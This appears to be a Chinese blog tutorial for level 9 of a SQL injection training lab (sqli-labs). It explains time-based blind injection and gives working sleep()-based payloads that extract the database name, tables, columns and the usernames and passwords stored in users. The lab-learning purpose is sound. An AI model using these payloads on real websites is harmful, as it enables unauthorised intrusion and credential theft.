延时注入-sql注入第九关

前言

什么是延时注入?

1.IF(Condition,A,B)函数
2.当Condition为TRUE时,返回A;当Condition为FALSE时,返回B。
3.sleep()函数			网页延迟n秒后,输出结果
4.left()函数           左边数,取几个数

比如呢:

  • 判断当前数据库长度:
id=3' and if(length(database())>10,sleep(5),1) --+  #判断数据库长度
  • 获取当前连接数据库第一个字母
if(ascii(substr((select database()), 1, 1))=114, sleep(5), 1)
  • 判断第一个数据库第一个字符。
if(ascii(substr((select distinct table_schema from information_schema.tables limit 0, 1), 1, 1))=105,sleep(5), 1)

一、判断注入点

延时注入其实也就是利用响应时长发生延迟从而判断返回值是否正确,当然最麻烦的是页面不论报不报错,都不会返回错误

该关其实是基于是否闭合的字符型注入,展示!
闭合型:

?id=1') and (sleep(2)) --+

在这里插入图片描述
一般正常页面响应的时间也就是延迟两秒左右,说明不是闭合型注入
不闭合型:

?id=1' and (sleep(2)) --+

在这里插入图片描述
在这里我们设置的延迟响应为2s可以看到页面延迟响应为4s左右说明,找到了注入点

二、爆数据库

接下来的解题思想和第八关相差不大,数据库(security)的长度为8我想大家做到这一关应该都知道了(●’◡’●)

?id=1' and if (length(database())=8,sleep(2),1) --+

在这里插入图片描述
可以看到延时响应了2s说明数据库的长度就是8!!!
爆数据

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(2),1) --+

在这里插入图片描述
第一位ASCII值为115,为s
第二位

?id=1' and if(ascii(substr(database(),2,1))=101,sleep(2),1) --+

就这样依次往下,更换第一位的大小依次往下求值得到数据库的名字:security.

三、爆表名

原理和上面的是一样的
第一位:ASCII值为117-(u)

?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(2),1)--+

在这里插入图片描述

第二位:ASCII值为115-(s)

?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),2,1))=115,sleep(2),1)--+

在这里插入图片描述
就这样依次往下吧最后得到:emails/users

四、爆字段

第一个字:ASCII=105-(i)

?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,sleep(2),1)--+

在这里插入图片描述
接下来只需要修改下面红标的值就可以了
在这里插入图片描述
第二个字:ASCII=100-(d)
在这里插入图片描述
可见第一列列名:id

第二列第一个字:ASCII=117-(u)

?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 1,1),1,1))=117,sleep(2),1)--+

在这里插入图片描述
换列只需要更换第一个数字的大小,0为第一列,1为第二列,接下来求第二列的字段也就像求第一列的字段一样操作
在这里插入图片描述
第二个字:ASCII=115-(s)

?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 1,1),2,1))=115,sleep(2),1)--+

在这里插入图片描述
还是这样依次往下吧😎得到列为分别为:
第一列名:id
第二列名:username
第三列名:password

五、爆数据

曙光来了🤳让我们来看看username藏了什么吧
第一个ASCII=68-(D)

?id=1' and If(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(2),1)--+

在这里插入图片描述

第二个字:ASCII=117-(u)

?id=1' and If(ascii(substr((select username from users limit 0,1),2,1))=117,sleep(2),1)--+

在这里插入图片描述
就这样依次往下继续吧🤞
最后依次进行得到username:Dumb,password:Dumb

总结

简而言之呢,其实延时注入格式也是固定的理解sleep(x) 函数的意义是关键,不过就是个自行设定如果判断成功那么就会延迟x秒嘛🐱‍🚀

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值